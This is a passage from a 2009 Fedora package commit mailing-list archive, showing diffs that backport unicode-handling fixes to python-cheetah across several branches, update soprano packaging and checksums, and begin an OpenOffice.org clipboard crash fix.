         source = '''This is $adjective'''
@@ -168,14 +184,14 @@
             'adjective' : u'\u0e22\u0e34\u0e19\u0e14\u0e35\u0e15\u0e49\u0e2d\u0e19\u0e23\u0e31\u0e1a'}])
         assert template.respond()
 
-    def test_ErrorReporting(self):
+    def test_Thai_utf8(self):
         utf8 = '\xe0\xb8\xa2\xe0\xb8\xb4\xe0\xb8\x99\xe0\xb8\x94\xe0\xb8\xb5\xe0\xb8\x95\xe0\xb9\x89\xe0\xb8\xad\xe0\xb8\x99\xe0\xb8\xa3\xe0\xb8\xb1\xe0\xb8\x9a'
 
         source = '''This is $adjective'''
         template = self.createAndCompile(source)
         assert template and issubclass(template, Template)
         template = template(searchList=[{'adjective' : utf8}])
-        self.failUnlessRaises(DummyTransaction.DummyResponseFailure, template.respond)
+        assert template.respond()
 
 
 


Index: python-cheetah.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-cheetah/F-11/python-cheetah.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- python-cheetah.spec	15 Sep 2009 17:49:44 -0000	1.21
+++ python-cheetah.spec	20 Oct 2009 18:15:16 -0000	1.22
@@ -2,7 +2,7 @@
 
 Name:           python-cheetah
 Version:        2.2.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Template engine and code generator
 
 Group:          Development/Libraries
@@ -10,6 +10,7 @@ License:        MIT
 URL:            http://cheetahtemplate.org/
 Source:         http://download.sourceforge.net/cheetahtemplate/Cheetah-%{version}.tar.gz
 Patch0:         cheetah-2.2.2-remove-markdown-dependency.patch
+Patch1:         cheetah-2.2.2-unicode-fixes.patch
 
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
@@ -27,6 +28,7 @@ code, Java, sql, form emails and even Py
 %prep
 %setup -q -n Cheetah-%{version}
 %patch0 -p1
+%patch1 -p1
 
 %build
 %{__python} setup.py build
@@ -76,6 +78,9 @@ rm -rf %{buildroot}
 %{python_sitearch}/Cheetah-%{version}-*.egg-info/*.txt
 
 %changelog
+* Tue Oct 20 2009 Mike Bonnet <mikeb at redhat.com> - 2.2.2-2
+- backport significant improvements to utf-8/unicode handling from upstream
+
 * Mon Sep 14 2009 Mike Bonnet <mikeb at redhat.com> - 2.2.2-1
 - update to the 2.2.2 release
 - remove dependency on Markdown because it's not available in F-11



From mikeb at fedoraproject.org  Tue Oct 20 18:39:28 2009
From: mikeb at fedoraproject.org (Mike Bonnet)
Date: Tue, 20 Oct 2009 18:39:28 +0000 (UTC)
Subject: rpms/python-cheetah/F-12 cheetah-2.2.2-unicode-fixes.patch, NONE,
	1.1 python-cheetah.spec, 1.23, 1.24
Message-ID: <20091020183928.7B86911C0081@cvs1.fedora.phx.redhat.com>

Author: mikeb

Update of /cvs/pkgs/rpms/python-cheetah/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8949

Modified Files:
	python-cheetah.spec 
Added Files:
	cheetah-2.2.2-unicode-fixes.patch 
Log Message:
backport significant improvements to utf-8/unicode handling from upstream

cheetah-2.2.2-unicode-fixes.patch:
 DummyTransaction.py |   29 +++++++++++++++++++----------
 Filters.py          |   35 +++++++----------------------------
 Template.py         |   25 ++++++++++++++++++++++++-
 Tests/Unicode.py    |   20 ++++++++++++++++++--
 4 files changed, 68 insertions(+), 41 deletions(-)

--- NEW FILE cheetah-2.2.2-unicode-fixes.patch ---
diff -uNr Cheetah-2.2.2.orig/cheetah/DummyTransaction.py Cheetah-2.2.2/cheetah/DummyTransaction.py
--- Cheetah-2.2.2.orig/cheetah/DummyTransaction.py	2009-09-14 19:04:00.000000000 -0400
+++ Cheetah-2.2.2/cheetah/DummyTransaction.py	2009-10-19 09:41:12.568528482 -0400
@@ -25,6 +25,23 @@
     def flush(self):
         pass
         
+    def safeConvert(self, chunk):
+        # Exceptionally gross, but the safest way
+        # I've found to ensure I get a legit unicode object
+        if not chunk:
+            return u''
+        if isinstance(chunk, unicode):
+            return chunk
+        try:
+            return chunk.decode('utf-8', 'strict')
+        except UnicodeDecodeError:
+            try:
+                return chunk.decode('latin-1', 'strict')
+            except UnicodeDecodeError:
+                return chunk.decode('ascii', 'ignore')
+        except AttributeError:
+            return unicode(chunk)
+
     def write(self, value):
         self._outputChunks.append(value)
 
@@ -35,17 +52,9 @@
     def getvalue(self, outputChunks=None):
         chunks = outputChunks or self._outputChunks
         try: 
-            return ''.join(chunks)
+            return u''.join(chunks)
         except UnicodeDecodeError, ex:
-            nonunicode = [c for c in chunks if not isinstance(c, unicode)]
-            raise DummyResponseFailure('''Looks like you're trying to mix encoded strings with Unicode strings
-            (most likely utf-8 encoded ones)
-
-            This can happen if you're using the `EncodeUnicode` filter, or if you're manually
-            encoding strings as utf-8 before passing them in on the searchList (possible offenders: 
-            %s) 
-            (%s)''' % (nonunicode, ex))
-
+            return u''.join((self.safeConvert(c) for c in chunks))
 
     def writelines(self, *lines):
         ## not used
diff -uNr Cheetah-2.2.2.orig/cheetah/Filters.py Cheetah-2.2.2/cheetah/Filters.py
--- Cheetah-2.2.2.orig/cheetah/Filters.py	2009-09-14 19:04:00.000000000 -0400
+++ Cheetah-2.2.2/cheetah/Filters.py	2009-10-19 09:36:17.594517096 -0400
@@ -29,40 +29,19 @@
         if val is None:
             return u''
         if isinstance(val, unicode):
-            if encoding:
-                return val.encode(encoding)
-            else:
-                return val
+            # ignore the encoding and return the unicode object
+            return val
         else:
             try:
-                return str(val)
-            except UnicodeEncodeError:
                 return unicode(val)
-        return u''
+            except UnicodeDecodeError:
+                # we could put more fallbacks here, but we'll just pass the str
+                # on and let DummyTransaction worry about it
+                return str(val)
 
 RawOrEncodedUnicode = Filter
 
-class EncodeUnicode(Filter):
-    def filter(self, val,
-               encoding='utf8',
-               str=str,
-               **kw):
-        """Encode Unicode strings, by default in UTF-8.
-
-        >>> import Cheetah.Template
-        >>> t = Cheetah.Template.Template('''
-        ... $myvar
-        ... ${myvar, encoding='utf16'}
-        ... ''', searchList=[{'myvar': u'Asni\xe8res'}],
-        ... filter='EncodeUnicode')
-        >>> print t
-        """
-        if isinstance(val, unicode):
-            return val.encode(encoding)
-        if val is None:
-            return ''
-        return str(val)
-
+EncodeUnicode = Filter
 
 class Markdown(EncodeUnicode):
     '''
diff -uNr Cheetah-2.2.2.orig/cheetah/Template.py Cheetah-2.2.2/cheetah/Template.py
--- Cheetah-2.2.2.orig/cheetah/Template.py	2009-09-14 19:04:00.000000000 -0400
+++ Cheetah-2.2.2/cheetah/Template.py	2009-10-19 09:35:18.135768927 -0400
@@ -1001,22 +1001,45 @@
             mainMethName = getattr(concreteTemplateClass,mainMethNameAttr, None)
             if mainMethName:
                 def __str__(self): 
+                    rc = getattr(self, mainMethName)()
+                    if isinstance(rc, unicode):
+                        return rc.encode('utf-8')
+                    return rc
+                def __unicode__(self):
                     return getattr(self, mainMethName)()
             elif (hasattr(concreteTemplateClass, 'respond')
                   and concreteTemplateClass.respond!=Servlet.respond):
                 def __str__(self):
+                    rc = self.respond()
+                    if isinstance(rc, unicode):
+                        return rc.encode('utf-8')
+                    return rc
+                def __unicode__(self):
                     return self.respond()
             else:
                 def __str__(self):
+                    rc = None
+                    if hasattr(self, mainMethNameAttr):
+                        rc = getattr(self,mainMethNameAttr)()
+                    elif hasattr(self, 'respond'):
+                        rc = self.respond()
+                    else:
+                        rc = super(self.__class__, self).__str__()
+                    if isinstance(rc, unicode):
+                        return rc.encode('utf-8')
+                    return rc
+                def __unicode__(self):
                     if hasattr(self, mainMethNameAttr):
                         return getattr(self,mainMethNameAttr)()
                     elif hasattr(self, 'respond'):
                         return self.respond()
                     else:
-                        return super(self.__class__, self).__str__()
+                        return super(self.__class__, self).__unicode__()
                     
             __str__ = new.instancemethod(__str__, None, concreteTemplateClass)
+            __unicode__ = new.instancemethod(__unicode__, None, concreteTemplateClass)
             setattr(concreteTemplateClass, '__str__', __str__)
+            setattr(concreteTemplateClass, '__unicode__', __unicode__)
                 
     _addCheetahPlumbingCodeToClass = classmethod(_addCheetahPlumbingCodeToClass)
 
diff -uNr Cheetah-2.2.2.orig/cheetah/Tests/Unicode.py Cheetah-2.2.2/cheetah/Tests/Unicode.py
--- Cheetah-2.2.2.orig/cheetah/Tests/Unicode.py	2009-09-14 19:04:01.000000000 -0400
+++ Cheetah-2.2.2/cheetah/Tests/Unicode.py	2009-10-20 14:08:48.674155892 -0400
@@ -150,6 +150,22 @@
         a = unicode(template).encode("utf-8")
         self.assertEquals("B?b?", a)
 
+class EncodeUnicodeCompatTest(unittest.TestCase):
+    """
+        Taken initially from Red Hat's bugzilla #529332
+        https://bugzilla.redhat.com/show_bug.cgi?id=529332
+    """
+    def runTest(self):
+        t = Template("""Foo ${var}""", filter='EncodeUnicode')
+        t.var = u"Text with some non-ascii characters: ???"
+        
+        rc = t.respond()
+        assert isinstance(rc, unicode), ('Template.respond() should return unicode', rc)
+        
+        rc = str(t)
+        assert isinstance(rc, str), ('Template.__str__() should return a UTF-8 encoded string', rc)
+
+
 class Unicode_in_SearchList_Test(CommandLineTest):
     def test_BasicASCII(self):
         source = '''This is $adjective'''
@@ -168,14 +184,14 @@
             'adjective' : u'\u0e22\u0e34\u0e19\u0e14\u0e35\u0e15\u0e49\u0e2d\u0e19\u0e23\u0e31\u0e1a'}])
         assert template.respond()
 
-    def test_ErrorReporting(self):
+    def test_Thai_utf8(self):
         utf8 = '\xe0\xb8\xa2\xe0\xb8\xb4\xe0\xb8\x99\xe0\xb8\x94\xe0\xb8\xb5\xe0\xb8\x95\xe0\xb9\x89\xe0\xb8\xad\xe0\xb8\x99\xe0\xb8\xa3\xe0\xb8\xb1\xe0\xb8\x9a'
 
         source = '''This is $adjective'''
         template = self.createAndCompile(source)
         assert template and issubclass(template, Template)
         template = template(searchList=[{'adjective' : utf8}])
-        self.failUnlessRaises(DummyTransaction.DummyResponseFailure, template.respond)
+        assert template.respond()
 
 
 


Index: python-cheetah.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-cheetah/F-12/python-cheetah.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- python-cheetah.spec	15 Sep 2009 16:55:50 -0000	1.23
+++ python-cheetah.spec	20 Oct 2009 18:39:28 -0000	1.24
@@ -2,13 +2,14 @@
 
 Name:           python-cheetah
 Version:        2.2.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Template engine and code generator
 
 Group:          Development/Libraries
 License:        MIT
 URL:            http://cheetahtemplate.org/
 Source:         http://download.sourceforge.net/cheetahtemplate/Cheetah-%{version}.tar.gz
+Patch0:         cheetah-2.2.2-unicode-fixes.patch
 
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
@@ -27,6 +28,7 @@ code, Java, sql, form emails and even Py
 
 %prep
 %setup -q -n Cheetah-%{version}
+%patch0 -p1
 
 %build
 %{__python} setup.py build
@@ -76,6 +78,9 @@ rm -rf %{buildroot}
 %{python_sitearch}/Cheetah-%{version}-*.egg-info/*.txt
 
 %changelog
+* Tue Oct 20 2009 Mike Bonnet <mikeb at redhat.com> - 2.2.2-2
+- backport significant improvements to utf-8/unicode handling from upstream
+
 * Mon Sep 14 2009 Mike Bonnet <mikeb at redhat.com> - 2.2.2-1
 - update to the 2.2.2 release
 - add dependency on python-markdown for consistency with the egg-info



From rdieter at fedoraproject.org  Tue Oct 20 18:40:23 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 18:40:23 +0000 (UTC)
Subject: rpms/soprano/devel soprano.spec,1.39,1.40 sources,1.24,1.25
Message-ID: <20091020184023.021C711C02A6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/soprano/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9235

Modified Files:
	soprano.spec sources 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.65-0.1.20091020
- soprano-2.3.65 (20091020 snapshot)
- Requires: virtuoso-opensource



Index: soprano.spec
===================================================================
RCS file: /cvs/pkgs/rpms/soprano/devel/soprano.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- soprano.spec	11 Oct 2009 19:59:55 -0000	1.39
+++ soprano.spec	20 Oct 2009 18:40:22 -0000	1.40
@@ -1,21 +1,21 @@
 
 # fedora review: http://bugzilla.redhat.com/248120
 
-# set this to 0 to disable -apidocs for a faster build
-%define apidocs 1 
+# undef or set to 0 to disable -apidocs for a faster build
+#define apidocs 1 
 
-%define snap 20091009
+%define snap 20091020
 
 Summary: Qt wrapper API to different RDF storage solutions
 Name:    soprano
-Version: 2.3.63
+Version: 2.3.65
 Release: 0.1.%{snap}%{?dist}
 
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://sourceforge.net/projects/soprano
 #Source0: http://downloads.sf.net/soprano/soprano-%{version}.tar.bz2
-Source0: soprano-20091009svn.tar.bz2
+Source0: soprano-%{snap}svn.tar.bz2
 Source1: soprano-svn_checkout.sh 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -28,12 +28,18 @@ BuildRequires: qt4-devel
 BuildRequires: redland-devel >= 1.0.6
 BuildRequires: raptor-devel >= 1.4.15
 
-%if "%{?apidocs}" == "1"
+%if 0%{?apidocs}
 BuildRequires: doxygen
 BuildRequires: graphviz
 BuildRequires: qt4-doc
 %endif
 
+## If/When backends are packaged separately
+#Requires: soprano-backend
+## otherwise,
+Requires: virtuoso-opensource
+
+
 %description
 %{summary}.
 
@@ -46,6 +52,23 @@ Requires: pkgconfig
 %description devel
 %{summary}.
 
+%package backend-redland 
+Summary: Redland backend for %{name}
+Group:   System Environment/Libraries 
+Provides: %{name}-backend = %{version}-%{release}
+Requires: %{name} = %{version}-%{release}
+%description backend-redland 
+%{summary}.
+
+%package backend-virtuoso
+Summary: Virtuoso backend for %{name}
+Group:   System Environment/Libraries
+Provides: %{name}-backend = %{version}-%{release}
+Requires: %{name} = %{version}-%{release}
+Requires: virtuoso-opensource
+%description backend-virtuoso 
+%{summary}.
+
 %package apidocs
 Group: Development/Documentation
 Summary: Soprano API documentation
@@ -72,7 +95,7 @@ pushd %{_target_platform}
 %{cmake} \
   -DDATA_INSTALL_DIR:PATH=%{_kde4_appsdir} \
   -DQT_DOC_DIR=`pkg-config --variable=docdir Qt` \
-  -DSOPRANO_BUILD_API_DOCS:BOOL=%{?apidocs} \
+  -DSOPRANO_BUILD_API_DOCS:BOOL=%{!?apidocs:0}%{?apidocs} \
   .. 
 popd
 
@@ -104,9 +127,25 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libsopranoclient.so.1*
 %{_libdir}/libsopranoindex.so.1*
 %{_libdir}/libsopranoserver.so.1*
-%{_libdir}/soprano/
-%{_datadir}/soprano/
 %{_datadir}/dbus-1/interfaces/org.soprano.*.xml
+%dir %{_datadir}/soprano/
+%dir %{_datadir}/soprano/plugins
+%{_datadir}/soprano/plugins/*parser.desktop
+%{_datadir}/soprano/plugins/*serializer.desktop
+%{_datadir}/soprano/rules/
+%dir %{_libdir}/soprano/
+%{_libdir}/soprano/libsoprano_*parser.so
+%{_libdir}/soprano/libsoprano_*serializer.so
+
+#files backend-redland
+#defattr(-,root,root,-)
+%{_libdir}/soprano/libsoprano_redlandbackend.so
+%{_datadir}/soprano/plugins/redlandbackend.desktop
+
+#files backend-virtuoso
+#defattr(-,root,root,-)
+%{_libdir}/soprano/libsoprano_virtuosobackend.so
+%{_datadir}/soprano/plugins/virtuosobackend.desktop
 
 %files devel
 %defattr(-,root,root,-)
@@ -122,8 +161,11 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_target_platform}/docs/html
 %endif
 
-
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.65-0.1.20091020
+- soprano-2.3.65 (20091020 snapshot)
+- Requires: virtuoso-opensource
+
 * Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.63-0.1.20091009
 - soprano-2.3.63 (20091009 snapshot)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/soprano/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	11 Oct 2009 19:59:56 -0000	1.24
+++ sources	20 Oct 2009 18:40:22 -0000	1.25
@@ -1 +0,0 @@
-bb93e483a2de0c3527c7f6fb8ecf92f7  soprano-20091009svn.tar.bz2



From rdieter at fedoraproject.org  Tue Oct 20 18:41:08 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 18:41:08 +0000 (UTC)
Subject: rpms/soprano/devel .cvsignore,1.24,1.25 sources,1.25,1.26
Message-ID: <20091020184108.E4EDE11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/soprano/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9456

Modified Files:
	.cvsignore sources 
Log Message:
new-sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/soprano/devel/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	11 Oct 2009 19:59:55 -0000	1.24
+++ .cvsignore	20 Oct 2009 18:41:08 -0000	1.25
@@ -1 +1 @@
-soprano-20091009svn.tar.bz2
+soprano-20091020svn.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/soprano/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	20 Oct 2009 18:40:22 -0000	1.25
+++ sources	20 Oct 2009 18:41:08 -0000	1.26
@@ -0,0 +1 @@
+30135522011f69d3880446389bb7f628  soprano-20091020svn.tar.bz2



From rdieter at fedoraproject.org  Tue Oct 20 18:50:33 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 18:50:33 +0000 (UTC)
Subject: rpms/soprano/devel soprano.spec,1.40,1.41
Message-ID: <20091020185033.9165811C02A4@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/soprano/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11697

Modified Files:
	soprano.spec 
Log Message:
re-enable -apidocs



Index: soprano.spec
===================================================================
RCS file: /cvs/pkgs/rpms/soprano/devel/soprano.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- soprano.spec	20 Oct 2009 18:40:22 -0000	1.40
+++ soprano.spec	20 Oct 2009 18:50:33 -0000	1.41
@@ -2,14 +2,14 @@
 # fedora review: http://bugzilla.redhat.com/248120
 
 # undef or set to 0 to disable -apidocs for a faster build
-#define apidocs 1 
+%define apidocs 1 
 
 %define snap 20091020
 
 Summary: Qt wrapper API to different RDF storage solutions
 Name:    soprano
 Version: 2.3.65
-Release: 0.1.%{snap}%{?dist}
+Release: 0.2.%{snap}%{?dist}
 
 Group:   System Environment/Libraries
 License: LGPLv2+
@@ -162,7 +162,7 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
-* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.65-0.1.20091020
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.65-0.2.20091020
 - soprano-2.3.65 (20091020 snapshot)
 - Requires: virtuoso-opensource
 



From mikeb at fedoraproject.org  Tue Oct 20 19:00:57 2009
From: mikeb at fedoraproject.org (Mike Bonnet)
Date: Tue, 20 Oct 2009 19:00:57 +0000 (UTC)
Subject: rpms/python-cheetah/devel cheetah-2.2.2-unicode-fixes.patch, NONE, 
	1.1 python-cheetah.spec, 1.23, 1.24
Message-ID: <20091020190057.86AD711C0081@cvs1.fedora.phx.redhat.com>

Author: mikeb

Update of /cvs/pkgs/rpms/python-cheetah/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14637

Modified Files:
	python-cheetah.spec 
Added Files:
	cheetah-2.2.2-unicode-fixes.patch 
Log Message:
backport significant improvements to utf-8/unicode handling from upstream

cheetah-2.2.2-unicode-fixes.patch:
 DummyTransaction.py |   29 +++++++++++++++++++----------
 Filters.py          |   35 +++++++----------------------------
 Template.py         |   25 ++++++++++++++++++++++++-
 Tests/Unicode.py    |   20 ++++++++++++++++++--
 4 files changed, 68 insertions(+), 41 deletions(-)

--- NEW FILE cheetah-2.2.2-unicode-fixes.patch ---
diff -uNr Cheetah-2.2.2.orig/cheetah/DummyTransaction.py Cheetah-2.2.2/cheetah/DummyTransaction.py
--- Cheetah-2.2.2.orig/cheetah/DummyTransaction.py	2009-09-14 19:04:00.000000000 -0400
+++ Cheetah-2.2.2/cheetah/DummyTransaction.py	2009-10-19 09:41:12.568528482 -0400
@@ -25,6 +25,23 @@
     def flush(self):
         pass
         
+    def safeConvert(self, chunk):
+        # Exceptionally gross, but the safest way
+        # I've found to ensure I get a legit unicode object
+        if not chunk:
+            return u''
+        if isinstance(chunk, unicode):
+            return chunk
+        try:
+            return chunk.decode('utf-8', 'strict')
+        except UnicodeDecodeError:
+            try:
+                return chunk.decode('latin-1', 'strict')
+            except UnicodeDecodeError:
+                return chunk.decode('ascii', 'ignore')
+        except AttributeError:
+            return unicode(chunk)
+
     def write(self, value):
         self._outputChunks.append(value)
 
@@ -35,17 +52,9 @@
     def getvalue(self, outputChunks=None):
         chunks = outputChunks or self._outputChunks
         try: 
-            return ''.join(chunks)
+            return u''.join(chunks)
         except UnicodeDecodeError, ex:
-            nonunicode = [c for c in chunks if not isinstance(c, unicode)]
-            raise DummyResponseFailure('''Looks like you're trying to mix encoded strings with Unicode strings
-            (most likely utf-8 encoded ones)
-
-            This can happen if you're using the `EncodeUnicode` filter, or if you're manually
-            encoding strings as utf-8 before passing them in on the searchList (possible offenders: 
-            %s) 
-            (%s)''' % (nonunicode, ex))
-
+            return u''.join((self.safeConvert(c) for c in chunks))
 
     def writelines(self, *lines):
         ## not used
diff -uNr Cheetah-2.2.2.orig/cheetah/Filters.py Cheetah-2.2.2/cheetah/Filters.py
--- Cheetah-2.2.2.orig/cheetah/Filters.py	2009-09-14 19:04:00.000000000 -0400
+++ Cheetah-2.2.2/cheetah/Filters.py	2009-10-19 09:36:17.594517096 -0400
@@ -29,40 +29,19 @@
         if val is None:
             return u''
         if isinstance(val, unicode):
-            if encoding:
-                return val.encode(encoding)
-            else:
-                return val
+            # ignore the encoding and return the unicode object
+            return val
         else:
             try:
-                return str(val)
-            except UnicodeEncodeError:
                 return unicode(val)
-        return u''
+            except UnicodeDecodeError:
+                # we could put more fallbacks here, but we'll just pass the str
+                # on and let DummyTransaction worry about it
+                return str(val)
 
 RawOrEncodedUnicode = Filter
 
-class EncodeUnicode(Filter):
-    def filter(self, val,
-               encoding='utf8',
-               str=str,
-               **kw):
-        """Encode Unicode strings, by default in UTF-8.
-
-        >>> import Cheetah.Template
-        >>> t = Cheetah.Template.Template('''
-        ... $myvar
-        ... ${myvar, encoding='utf16'}
-        ... ''', searchList=[{'myvar': u'Asni\xe8res'}],
-        ... filter='EncodeUnicode')
-        >>> print t
-        """
-        if isinstance(val, unicode):
-            return val.encode(encoding)
-        if val is None:
-            return ''
-        return str(val)
-
+EncodeUnicode = Filter
 
 class Markdown(EncodeUnicode):
     '''
diff -uNr Cheetah-2.2.2.orig/cheetah/Template.py Cheetah-2.2.2/cheetah/Template.py
--- Cheetah-2.2.2.orig/cheetah/Template.py	2009-09-14 19:04:00.000000000 -0400
+++ Cheetah-2.2.2/cheetah/Template.py	2009-10-19 09:35:18.135768927 -0400
@@ -1001,22 +1001,45 @@
             mainMethName = getattr(concreteTemplateClass,mainMethNameAttr, None)
             if mainMethName:
                 def __str__(self): 
+                    rc = getattr(self, mainMethName)()
+                    if isinstance(rc, unicode):
+                        return rc.encode('utf-8')
+                    return rc
+                def __unicode__(self):
                     return getattr(self, mainMethName)()
             elif (hasattr(concreteTemplateClass, 'respond')
                   and concreteTemplateClass.respond!=Servlet.respond):
                 def __str__(self):
+                    rc = self.respond()
+                    if isinstance(rc, unicode):
+                        return rc.encode('utf-8')
+                    return rc
+                def __unicode__(self):
                     return self.respond()
             else:
                 def __str__(self):
+                    rc = None
+                    if hasattr(self, mainMethNameAttr):
+                        rc = getattr(self,mainMethNameAttr)()
+                    elif hasattr(self, 'respond'):
+                        rc = self.respond()
+                    else:
+                        rc = super(self.__class__, self).__str__()
+                    if isinstance(rc, unicode):
+                        return rc.encode('utf-8')
+                    return rc
+                def __unicode__(self):
                     if hasattr(self, mainMethNameAttr):
                         return getattr(self,mainMethNameAttr)()
                     elif hasattr(self, 'respond'):
                         return self.respond()
                     else:
-                        return super(self.__class__, self).__str__()
+                        return super(self.__class__, self).__unicode__()
                     
             __str__ = new.instancemethod(__str__, None, concreteTemplateClass)
+            __unicode__ = new.instancemethod(__unicode__, None, concreteTemplateClass)
             setattr(concreteTemplateClass, '__str__', __str__)
+            setattr(concreteTemplateClass, '__unicode__', __unicode__)
                 
     _addCheetahPlumbingCodeToClass = classmethod(_addCheetahPlumbingCodeToClass)
 
diff -uNr Cheetah-2.2.2.orig/cheetah/Tests/Unicode.py Cheetah-2.2.2/cheetah/Tests/Unicode.py
--- Cheetah-2.2.2.orig/cheetah/Tests/Unicode.py	2009-09-14 19:04:01.000000000 -0400
+++ Cheetah-2.2.2/cheetah/Tests/Unicode.py	2009-10-20 14:08:48.674155892 -0400
@@ -150,6 +150,22 @@
         a = unicode(template).encode("utf-8")
         self.assertEquals("B?b?", a)
 
+class EncodeUnicodeCompatTest(unittest.TestCase):
+    """
+        Taken initially from Red Hat's bugzilla #529332
+        https://bugzilla.redhat.com/show_bug.cgi?id=529332
+    """
+    def runTest(self):
+        t = Template("""Foo ${var}""", filter='EncodeUnicode')
+        t.var = u"Text with some non-ascii characters: ???"
+        
+        rc = t.respond()
+        assert isinstance(rc, unicode), ('Template.respond() should return unicode', rc)
+        
+        rc = str(t)
+        assert isinstance(rc, str), ('Template.__str__() should return a UTF-8 encoded string', rc)
+
+
 class Unicode_in_SearchList_Test(CommandLineTest):
     def test_BasicASCII(self):
         source = '''This is $adjective'''
@@ -168,14 +184,14 @@
             'adjective' : u'\u0e22\u0e34\u0e19\u0e14\u0e35\u0e15\u0e49\u0e2d\u0e19\u0e23\u0e31\u0e1a'}])
         assert template.respond()
 
-    def test_ErrorReporting(self):
+    def test_Thai_utf8(self):
         utf8 = '\xe0\xb8\xa2\xe0\xb8\xb4\xe0\xb8\x99\xe0\xb8\x94\xe0\xb8\xb5\xe0\xb8\x95\xe0\xb9\x89\xe0\xb8\xad\xe0\xb8\x99\xe0\xb8\xa3\xe0\xb8\xb1\xe0\xb8\x9a'
 
         source = '''This is $adjective'''
         template = self.createAndCompile(source)
         assert template and issubclass(template, Template)
         template = template(searchList=[{'adjective' : utf8}])
-        self.failUnlessRaises(DummyTransaction.DummyResponseFailure, template.respond)
+        assert template.respond()
 
 
 


Index: python-cheetah.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-cheetah/devel/python-cheetah.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- python-cheetah.spec	15 Sep 2009 16:55:50 -0000	1.23
+++ python-cheetah.spec	20 Oct 2009 19:00:57 -0000	1.24
@@ -2,13 +2,14 @@
 
 Name:           python-cheetah
 Version:        2.2.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Template engine and code generator
 
 Group:          Development/Libraries
 License:        MIT
 URL:            http://cheetahtemplate.org/
 Source:         http://download.sourceforge.net/cheetahtemplate/Cheetah-%{version}.tar.gz
+Patch0:         cheetah-2.2.2-unicode-fixes.patch
 
 BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
@@ -27,6 +28,7 @@ code, Java, sql, form emails and even Py
 
 %prep
 %setup -q -n Cheetah-%{version}
+%patch0 -p1
 
 %build
 %{__python} setup.py build
@@ -76,6 +78,9 @@ rm -rf %{buildroot}
 %{python_sitearch}/Cheetah-%{version}-*.egg-info/*.txt
 
 %changelog
+* Tue Oct 20 2009 Mike Bonnet <mikeb at redhat.com> - 2.2.2-2
+- backport significant improvements to utf-8/unicode handling from upstream
+
 * Mon Sep 14 2009 Mike Bonnet <mikeb at redhat.com> - 2.2.2-1
 - update to the 2.2.2 release
 - add dependency on python-markdown for consistency with the egg-info



From caolanm at fedoraproject.org  Tue Oct 20 19:09:48 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue, 20 Oct 2009 19:09:48 +0000 (UTC)
Subject: rpms/openoffice.org/F-12 workspace.impress178.patch, NONE,
	1.1 openoffice.org.spec, 1.2021, 1.2022
Message-ID: <20091020190948.04EDA11C0081@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16975/F-12

Modified Files:
	openoffice.org.spec 
Added Files:
	workspace.impress178.patch 
Log Message:
Resolves: ooo#103757 custom shape cut and paste (caolanm)

workspace.impress178.patch:
 inc/svx/svdoashp.hxx       |    2 ++
 source/svdraw/svdoashp.cxx |    6 ++++++
 2 files changed, 8 insertions(+)

--- NEW FILE workspace.impress178.patch ---
fix a nasty clipboard crasher in slidesorter

From: Thorsten Behrens <thb at openoffice.org>


---

 svx/inc/svx/svdoashp.hxx       |    2 ++
 svx/source/svdraw/svdoashp.cxx |    6 ++++++
 2 files changed, 8 insertions(+), 0 deletions(-)


